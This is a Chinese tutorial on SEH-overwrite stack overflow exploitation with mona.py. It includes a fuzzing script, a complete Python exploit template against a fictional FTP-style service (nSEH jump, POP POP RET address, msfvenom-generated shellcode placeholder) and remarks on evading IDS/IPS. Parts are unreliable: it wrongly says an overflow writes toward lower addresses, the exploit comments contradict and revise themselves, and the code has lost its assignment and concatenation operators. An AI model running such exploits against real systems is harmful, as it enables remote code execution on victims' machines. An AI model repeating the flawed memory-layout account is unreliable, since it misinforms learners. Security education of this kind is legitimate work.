栈溢出漏洞利用实战:SEH攻击原理与mona.py工具深度解析

栈溢出漏洞利用实战:SEH攻击原理与mona.py工具深度解析 1. 项目概述从一次真实的栈溢出攻击说起几年前我在分析一个老旧的FTP服务器软件时遇到了一个典型的基于栈的缓冲区溢出漏洞。攻击向量很简单向一个特定的命令处理函数发送超过其设计容量的超长用户名。在调试器中当那个精心构造的、长达2000字节的字符串被strcpy函数一股脑儿塞进只有256字节的栈缓冲区时经典的“访问违例”弹窗出现了。EIP寄存器被一堆不可执行的“AAAA”覆盖程序崩溃。这就是栈溢出最直观的体现。但当时我面临一个棘手的问题目标程序启用了DEP数据执行保护我无法直接将shellcode放在栈上执行同时ASLR地址空间布局随机化也让硬编码跳转地址变得困难。这时我的目光转向了Windows异常处理机制特别是结构化异常处理SEH。通过覆盖栈上的SEH记录并利用mona.py这个神器在进程内存中寻找合适的指令片段如pop pop ret我最终成功劫持了程序流绕过了安全机制实现了代码执行。今天我就把这个从漏洞复现到利用链构建的完整过程结合mona.py的深度使用拆解给你看。无论你是刚入门二进制安全的新手还是想深化Windows漏洞利用理解的从业者这篇指南都将带你深入SEH攻击的核心。2. 核心原理栈溢出与SEH攻击链深度解析2.1 栈溢出漏洞的根源与内存布局要理解SEH覆盖攻击必须先彻底搞明白栈溢出发生时内存里到底发生了什么。当一个函数被调用时系统会在栈上为其分配一块内存区域称为“栈帧”。这块内存通常在x86架构下按从高地址向低地址增长的方向排列其典型结构如下高地址 ------------------- | 调用者栈帧 | ------------------- | 返回地址 (EIP) | -- 函数执行完毕后应返回的位置 ------------------- | 旧基址指针 (EBP)| -- 调用者的EBP值 ------------------- | 局部变量区 | -- 函数内部定义的变量如char buffer[256] ------------------- | 异常处理记录(SEH)| -- 结构化异常处理链的节点如果函数使用__try/__except ------------------- | ... (更低地址) | 低地址漏洞的根源在于像strcpy、sprintf、gets这类不检查边界的安全缺陷函数。当它们向局部变量区例如buffer拷贝数据时如果源数据的长度超过了目标缓冲区的容量多出的字节就会继续向低地址方向“溢出”依次覆盖掉后面的内容。覆盖的顺序通常是先覆盖完buffer之后的其他局部变量然后覆盖旧的EBP接着覆盖至关重要的返回地址(EIP)。如果数据足够长它会继续向下覆盖而那里很可能就存放着SEH记录。这里有一个关键点在典型的栈帧布局中SEH记录的位置通常在局部变量区和返回地址的更下方更低地址处。这意味着要覆盖到SEH记录你的溢出数据必须足够长能够穿过局部变量区、EBP和EIP。这解释了为什么在构造SEH攻击的POC概念验证时我们往往需要发送一个非常长的字符串。2.2 结构化异常处理SEH机制与攻击面Windows操作系统使用结构化异常处理SEH来管理软件和硬件异常。你可以把它想象成一个内置的、链式的“错误保险丝”。每个线程都有自己的SEH链。当异常发生时比如我们触发的访问违例系统会沿着这个链逐个询问每个“异常处理器”“你能处理这个异常吗”链上的每个节点就是一个EXCEPTION_REGISTRATION_RECORD结构体它在栈上分配。这个结构体非常简单Next指向下一个SEH记录的指针链表的next节点。Handler异常处理函数的地址。当异常发生时系统会跳转到这个地址去执行。攻击者的机会就在这里。通过栈溢出我们可以覆盖栈上的某个SEH记录。通常我们会做两件事覆盖Next指针通常将其覆盖为一个指向可控内存如堆的地址或者直接覆盖成类似0xFFFFFFFF的值来表示链的末端但这并非攻击必需。覆盖Handler指针这是攻击的核心。我们将它覆盖为我们希望程序跳转去执行的地址。但这里有一个陷阱当异常发生时系统在调用Handler函数之前会先进行一些清理工作并且Handler函数本身也需要一个正常的栈环境来执行。如果我们简单地将Handler覆盖为shellcode的地址很可能因为栈指针ESP位置不对或系统进行的额外操作而导致利用失败。2.3 关键跳板POP POP RET Gadget与栈指针调整这就是“POP POP RET”指令序列成为SEH攻击灵魂的原因。我们需要寻找一个内存地址指向如下三条指令POP r32 ; 从栈顶弹出一个数据到某个通用寄存器如EAX, ECX, EDX POP r32 ; 再弹出一个数据 RET ; 返回此时会从栈顶取出新的EIP值并跳转攻击链是如何工作的异常发生系统接管准备调用被我们覆盖的Handler。系统将EXCEPTION_REGISTRATION_RECORD的地址我们称其为SEH_Record_Address以及其他异常上下文信息压入栈中然后跳转到我们覆盖的Handler地址执行假设这个地址指向一个POP POP RET指令序列。第一条POP指令弹出了栈顶的一个值可能是异常上下文的一部分到某个寄存器栈指针(ESP)增加4字节。第二条POP指令再弹出一个值栈指针(ESP)再增加4字节。执行RET指令。RET等同于POP EIP。此时栈顶ESP指向的位置是什么经过两次POPESP已经向高地址方向移动了8字节。现在ESP指向的位置正好是原始SEH记录地址SEH_Record_Address向后高地址方向偏移8字节的地方。如果我们精心构造溢出数据让SEH_Record_Address 8这个位置存放着我们真正的攻击载荷shellcode的地址那么RET指令就会将这个地址弹出到EIP程序随即跳转到我们的shellcode执行。通过POP POP RET这个“跳板”我们巧妙地调整了栈指针并完成了一次关键的转向。而寻找这个跳板地址就是mona.py大显身手的地方。注意POP POP RET不是唯一选择。根据编译环境和系统状态有时可能需要POP POP POP RET、POPAD RET或其他序列。核心目标是让执行RET时栈顶(ESP)恰好指向我们放置跳转地址的位置。3. 工具核心mona.py在漏洞利用中的实战应用3.1 mona.py简介与环境配置mona.py是核心安全研究员Peter Van Eeckhoutte又名corelanc0d3r为Immunity Debugger开发的一款Python插件。它不是一个独立的工具而是运行在调试器内部的“瑞士军刀”专门用于自动化完成漏洞利用中那些繁琐且重复的任务例如寻找指令片段、定位模块、分析内存布局等。对于Windows平台下的漏洞利用研究尤其是绕过现代缓解技术如DEP、ASLRmona.py几乎是标配。配置步骤获取Immunity Debugger从其官网或可信的安全工具仓库下载安装。安装mona.py将下载的mona.py文件放置于Immunity Debugger安装目录下的PyCommands文件夹中。首次运行与配置启动Immunity Debugger附加或运行目标程序。在调试器底部的命令输入框中输入!mona并回车。它会自动在用户目录如C:\Users\YourName下创建一个mona文件夹用于存放其生成的各种日志和配置文件。你可以通过!mona config -set命令来设置工作文件夹等参数。实操心得建议将常用的mona命令写成脚本或记录在案。因为mona的输出信息非常丰富直接在其输出窗口操作并不方便。更好的做法是让mona将结果输出到文件然后用外部文本编辑器查看和分析。例如!mona find -type instr -s pop r32; pop r32; ret这个命令会搜索指令但将其输出重定向到文件会更高效!mona find -type instr -s pop r32; pop r32; ret -o c:\logs\pop2.txt。3.2 核心命令详解寻找跳板与定位模块在SEH攻击中mona.py最核心的用途是两件事找到可用的POP POP RET或类似指令地址以及分析哪些动态链接库DLL适合作为攻击的“基地”。1. 寻找指令片段Gadgets!mona find -type instr -s pop r32; pop r32; ret -cm aslrfalse,rebasefalse -cp nonull-type instr: 指定搜索类型为指令序列。-s “…”: 指定要搜索的指令模式。这里是最经典的pop r32; pop r32; ret。你可以根据需要搜索其他序列如-s “popad; ret”或-s “jmp esp”。-cm aslrfalse,rebasefalse: 这是关键过滤器。-cm代表“module condition”。我们通常希望跳板地址来自那些未启用ASLR且未启用重定位Rebase的模块。因为这样的模块每次加载的基址是固定的我们的跳板地址才是可靠的。在较新版本的Windows上系统DLL大多启用了ASLR因此我们往往需要在目标程序自身或其加载的第三方DLL如旧版sqlite3.dll、myapp.dll中寻找。-cp nonull: 过滤掉地址中包含空字节\x00的结果。因为空字节在基于字符串的溢出中通常是截断符会导致溢出数据被提前截断利用失败。2. 分析加载的模块!mona modules这条命令会列出当前进程空间内所有加载的模块EXE和DLL并显示每个模块的关键属性Base/Size: 模块的加载基址和大小。Rebase/ASLR/SafeSEH/NXCompat: 这些是至关重要的安全属性。ASLRfalse, Rebasefalse这是我们寻找跳板地址的首选模块。它们的加载地址在每次运行时是固定的。SafeSEHfalseSafeSEH是一种编译时保护如果模块未启用它则其映像中任何地址都可以被用作SEH处理器否则系统会进行验证。我们的目标模块最好SafeSEHfalse。NXCompatfalse (或 DEP)表示模块是否兼容DEP。这关系到我们能否在该模块的内存区域执行代码。对于仅做跳板如POP POP RET而言NX通常不是问题因为CPU只是执行这些已存在的指令。3. 生成模式字符串Pattern在确定溢出点偏移时我们无法靠肉眼数出EIP或SEH Handler被覆盖的确切位置。mona.py可以生成独特的、不重复的字符串模式。!mona pc 5000生成一个5000字节的模式字符串。在POC中发送这个字符串导致崩溃后查看EIP或SEH Handler被覆盖成了什么值如0x6A413969再用命令!mona po 0x6A413969mona就会告诉你这个值出现在模式字符串的哪个偏移位置例如offset 1024。这个偏移量就是我们的缓冲区起始位置到覆盖关键地址处的精确距离。3.3 利用mona进行ROP链构造初探应对DEP虽然本篇聚焦SEH但现代漏洞利用常需组合多种技术。当DEP阻止我们在栈上执行shellcode时我们需要转向面向返回编程ROP。mona.py的rop命令能极大简化这个过程。!mona rop -m mymodule.dll -cp nonull-m: 指定从哪个模块中寻找ROP gadget。通常选择ASLRfalse, Rebasefalse, SafeSEHfalse的模块。-cp nonull: 同样过滤空字节。mona会自动化分析该模块找出大量有用的指令片段如pop eax; ret,mov [ecx], eax; ret,xor eax, eax; ret等并生成一个完整的ROP链脚本框架用于调用VirtualProtect或VirtualAlloc等API将栈内存改为可执行最终跳回栈执行shellcode。这是从SEH覆盖到最终代码执行的关键桥梁。4. 实战演练构建一个完整的SEH覆盖漏洞利用让我们以一个虚构但有代表性的漏洞程序vulnserver.exe监听80端口为例假设其USER命令存在栈溢出漏洞。4.1 漏洞复现与偏移量计算模糊测试与崩溃确认# poc_1_fuzz.py import socket import sys target 192.168.1.100 port 80 buffer USER A * 3000 \r\n s socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((target, port)) s.send(buffer) s.close()运行此脚本在Immunity Debugger中观察程序崩溃。确认EIP被覆盖为0x41414141AAAA证明存在溢出。精确定位偏移在Immunity Debugger中运行!mona pc 3000生成3000字节的模式字符串。修改POC发送这个模式字符串。程序崩溃后查看EIP和SEH链。假设SEH Handler被覆盖为0x6F43366F。运行!mona po 0x6F43366F得到偏移量例如1024。同时查看栈上SEH结构体地址例如0x00F1FF2C其Next指针可能也被覆盖用同样方法找到其偏移假设是1020。这意味着缓冲区的第1020-1023字节覆盖了SEH Next第1024-1027字节覆盖了SEH Handler。4.2 寻找跳板地址与坏字符排查寻找POP POP RET地址运行!mona modules找到一个符合条件的模块例如vulnapp.dllASLRfalse, Rebasefalse, SafeSEHfalse。运行!mona find -type instr -s “pop r32; pop r32; ret” -m vulnapp.dll -cp nonull。从结果中挑选一个地址例如0x625010B0。验证其指令在Immunity Debugger中按CtrlG输入该地址确认确实是POP R32; POP R32; RET。注意字节顺序在利用代码中应写为\xB0\x10\x50\x62x86小端序。确定坏字符Bad Characters 坏字符是那些在特定上下文中会被程序特殊处理导致我们的shellcode被截断或变形的字节。常见坏字符包括\x00空终止符\x0A换行\x0D回车\xFF某些情况有时还包括\x20空格。发送包含所有可能字节\x00到\xFF的负载。在调试器中对比发送的原始负载与内存中接收到的负载查看哪些字节被改变或丢失。mona可以辅助生成测试字符串!mona bytearray生成原始数组崩溃后使用!mona compare -f C:\mona\bytearray.bin -a ESP地址进行比较。4.3 构造最终利用载荷Exploit结合以上信息构造最终的利用代码框架# exploit_seh_final.py import socket import struct target 192.168.1.100 port 80 # 1. 偏移量 offset_to_next_seh 1020 offset_to_seh_handler 1024 # 2. 跳板地址 (POP POP RET from vulnapp.dll) nseh b\x90\x90\xeb\x06 # 短跳转指令NOP, NOP, JMP SHORT 6 (跳过下面的地址) seh struct.pack(I, 0x625010B0) # POP POP RET 地址 # 3. 滑板区 (NOP Sled) 和 Shellcode # 首先计算从SEH Handler被调用后ESP实际指向的位置。 # 在我们的覆盖中SEH记录地址假设为 X。 # 经过 POP POP RET 后ESP X 8。 # 我们需要在溢出数据中让 X8 这个位置指向我们的shellcode。 # 一种常见策略是在覆盖SEH记录之后的数据区即偏移量1028之后放置大量的NOP指令然后接shellcode。 # 然后将 nseh 覆盖为一条短跳转指令如 \xeb\x06跳过 seh 地址直接跳到后面的NOP区。 # 但更稳健的方法是使用“堆喷射”或精确计算这里演示一种通用方法 # 我们利用覆盖 Next SEH 指针的4个字节偏移1020-1023来放置一条跳转指令。 # 重新定义nseh 放置跳转指令例如 jmp short 6 seh 放置 pop pop ret 地址。 # 当异常发生执行 pop pop ret 后ret 会去执行 nseh 处的指令吗不ret 是从栈顶取EIP。 # 更常见的payload结构是 # [A*1020] [JMP指令覆盖Next SEH] [POP POP RET地址覆盖Handler] [NOPs] [Shellcode] # 构造一个短跳转跳6字节跳过接下来的4字节POP POP RET地址和2字节对齐 # 实际上在覆盖后Next SEH 和 Handler 是连续的8字节。 # 我们可以将 Next SEH 覆盖为 \xeb\x06\x90\x90 (jmp short 6; nop; nop) # 这样当异常发生系统先看到Next SEH被我们覆盖为跳转指令但实际上系统不执行它而是调用Handler。 # 我们需要Handler (POP POP RET) 执行后能跳转到我们的Shellcode。 # 因此在 POP POP RET 执行后栈顶(ESP)应该指向我们放置的另一个地址这个地址指向 Shellcode。 # 所以在 Handler 地址之后我们应该立即放置 Shellcode 的地址。 # 更优方案SEH链攻击标准布局 # Buffer A*offset_to_next_seh JMP_OVER_SEH POP_POP_RET_ADDR SHELLCODE_ADDR NOPs Shellcode # 但SHELLCODE_ADDR很难硬编码。因此常用方法是 # 1. 用 JMP_OVER_SEH (如 \xeb\x06\x90\x90) 覆盖 Next SEH。 # 2. 用 POP_POP_RET_ADDR 覆盖 Handler。 # 3. 在 Handler 地址后面直接开始放 NOPs 和 Shellcode。 # 4. POP POP RET 执行后RET 会去执行 Next SEH 处的指令即我们的短跳转。 # 5. 短跳转跳过 Handler 地址落入后面的 NOPs滑向 Shellcode。 # 修正后的构造 nseh b\xeb\x06\x90\x90 # JMP SHORT 0x06; NOP; NOP seh struct.pack(I, 0x625010B0) # POP POP RET # Shellcode (示例: 弹计算器需排除坏字符) # 使用 msfvenom 生成: msfvenom -p windows/exec CMDcalc.exe -b \x00\x0a\x0d -f python -v shellcode shellcode b\x90 * 32 # NOP 滑板 shellcode b\xdb\xc0\x31\xc9\xbf\x7c\x16\x70\xcc\xd9\x74\x24\xf4\xb1 # 示例shellcode片段实际应替换 shellcode b\x1e\x58\x31\x78\x18\x83\xe8\xfc\x03\x78\x68\xf4\x85\x30 # ... 更多shellcode字节 # 4. 构建最终缓冲区 buffer bUSER buffer bA * offset_to_next_seh # 填充到Next SEH buffer nseh # 覆盖Next SEH (跳转指令) buffer seh # 覆盖SEH Handler (POP POP RET) buffer b\x90 * 16 # 少量NOP确保跳转落地平稳 buffer shellcode # Shellcode buffer bC * (3000 - len(buffer) len(USER )) # 填充剩余空间确保触发溢出 buffer b\r\n # 5. 发送攻击载荷 s socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((target, port)) s.send(buffer) s.close() print(Exploit sent!)关键技巧上述构造中nseh处的\xeb\x06是相对短跳转机器码EB 06表示向前跳转6字节。在内存中这条指令位于SEH_Record地址处。执行时EIP指向这里跳转6字节后恰好跳过了sehPOP POP RET地址的4个字节落在了后面的NOP指令上从而滑向shellcode。而POP POP RET地址的存在是为了满足异常处理器的调用约定并正确调整栈指针使得异常分发机制能够顺利执行到我们的nseh跳转指令。5. 高级技巧与疑难问题排查5.1 应对不同的保护机制组合现代环境很少只有简单的栈溢出。你需要面对DEP、ASLR、SafeSEH、CFG等组合拳。DEP 无ASLR这正是SEH覆盖结合ROP的典型场景。利用mona.py在未启用ASLR的模块中寻找ROP gadget构造ROP链调用VirtualProtect将包含shellcode的内存区域可能是堆也可能是通过ROP链布置的数据改为可执行然后跳转执行。ASLR启用如果只有部分模块随机化优先寻找未启用ASLR的模块作为跳板或ROP源。如果所有模块都启用ASLR则需要考虑信息泄露漏洞如通过漏洞泄露某个模块的基址然后动态计算地址。或者攻击未启用ASLR的进程堆栈本身但堆栈地址也是随机的难度极大。SafeSEH启用如果目标模块编译时启用了SafeSEH系统会验证SEH Handler地址是否在该模块的合法异常处理程序列表中。此时覆盖该模块内的Handler地址会失败。你需要寻找一个未启用SafeSEH的模块中的地址作为跳板。5.2 常见崩溃点分析与调试技巧异常未触发或触发后未按预期跳转检查偏移量用mona的pattern功能反复确认Next SEH和SEH Handler的偏移量是否绝对准确。检查跳板地址有效性在调试器中跟随到你的POP POP RET地址单步执行F7观察两次POP和一次RET是否按预期执行以及执行RET时栈顶的值是否是你期望的跳转地址即nseh的地址。检查坏字符确保你的跳板地址、跳转指令、以及shellcode中不包含会破坏payload结构的坏字符。特别是\x00、\x0A、\x0D。Shellcode执行失败内存保护检查shellcode所在内存区域是否具有可执行权限DEP。如果没有需要先通过ROP链修改权限。编码问题如果shellcode包含坏字符需要使用编码器如MSF的shikata_ga_nai。但编码器本身可能引入新的坏字符需要迭代测试。栈空间破坏过长的shellcode或错误的栈操作可能会破坏后续正常执行所需的数据。尝试缩短shellcode或调整其在payload中的位置。5.3 利用开发流程检查清单为了系统性地减少错误建议遵循以下清单步骤检查项工具/方法1. 漏洞确认程序是否因超长输入而崩溃EIP/SEH是否被可控数据覆盖模糊测试脚本Immunity Debugger2. 偏移定位精确计算到Next SEH和SEH Handler的偏移量。mona pattern_create,mona pattern_offset3. 坏字符识别找出所有会破坏payload的字节。发送完整字节序列在内存中对比 (mona bytearray,mona compare)4. 模块分析找到ASLRFalse, RebaseFalse, SafeSEHFalse的可靠模块。!mona modules5. 跳板搜寻在可靠模块中查找可用的指令序列POP POP RET等。!mona find -type instr -s “…” -m module.dll6. 地址验证在调试器中确认跳板地址的指令与预期一致。Immunity DebuggerCtrlG跟随单步执行7. Payload构造按[填充][nSEH][SEH][对齐/NOP][Shellcode]结构组装避开坏字符。手动编写或使用框架如BOF模板8. 漏洞利用测试在调试环境下运行完整exploit单步跟踪程序流。观察是否按覆盖-异常-Handler-跳板-Shellcode执行9. 稳定性优化移除调试依赖如INT3断点\xCC增加NOP滑板长度处理异常后恢复。静态分析增加冗余5.4 从利用到稳定性的思考一次成功的崩溃利用只是开始。在真实世界中你需要考虑通用性你的跳板地址是否在目标系统的所有版本上都存在且固定稳定性你的shellcode是否会在不同系统环境语言、补丁下崩溃是否考虑了线程安全隐蔽性你的网络流量特征是否明显能否绕过IDS/IPS这些问题的答案往往来自于对目标软件、操作系统机制的更深层次理解以及大量的测试和经验积累。SEH覆盖是一个经典的突破口但现代漏洞利用更像是一门系统工程需要你将信息泄露、堆风水、ROP链构造等多种技术融会贯通。每一次调试器中的单步跟踪每一次mona命令后的日志分析都是通向这门艺术深处的必经之路。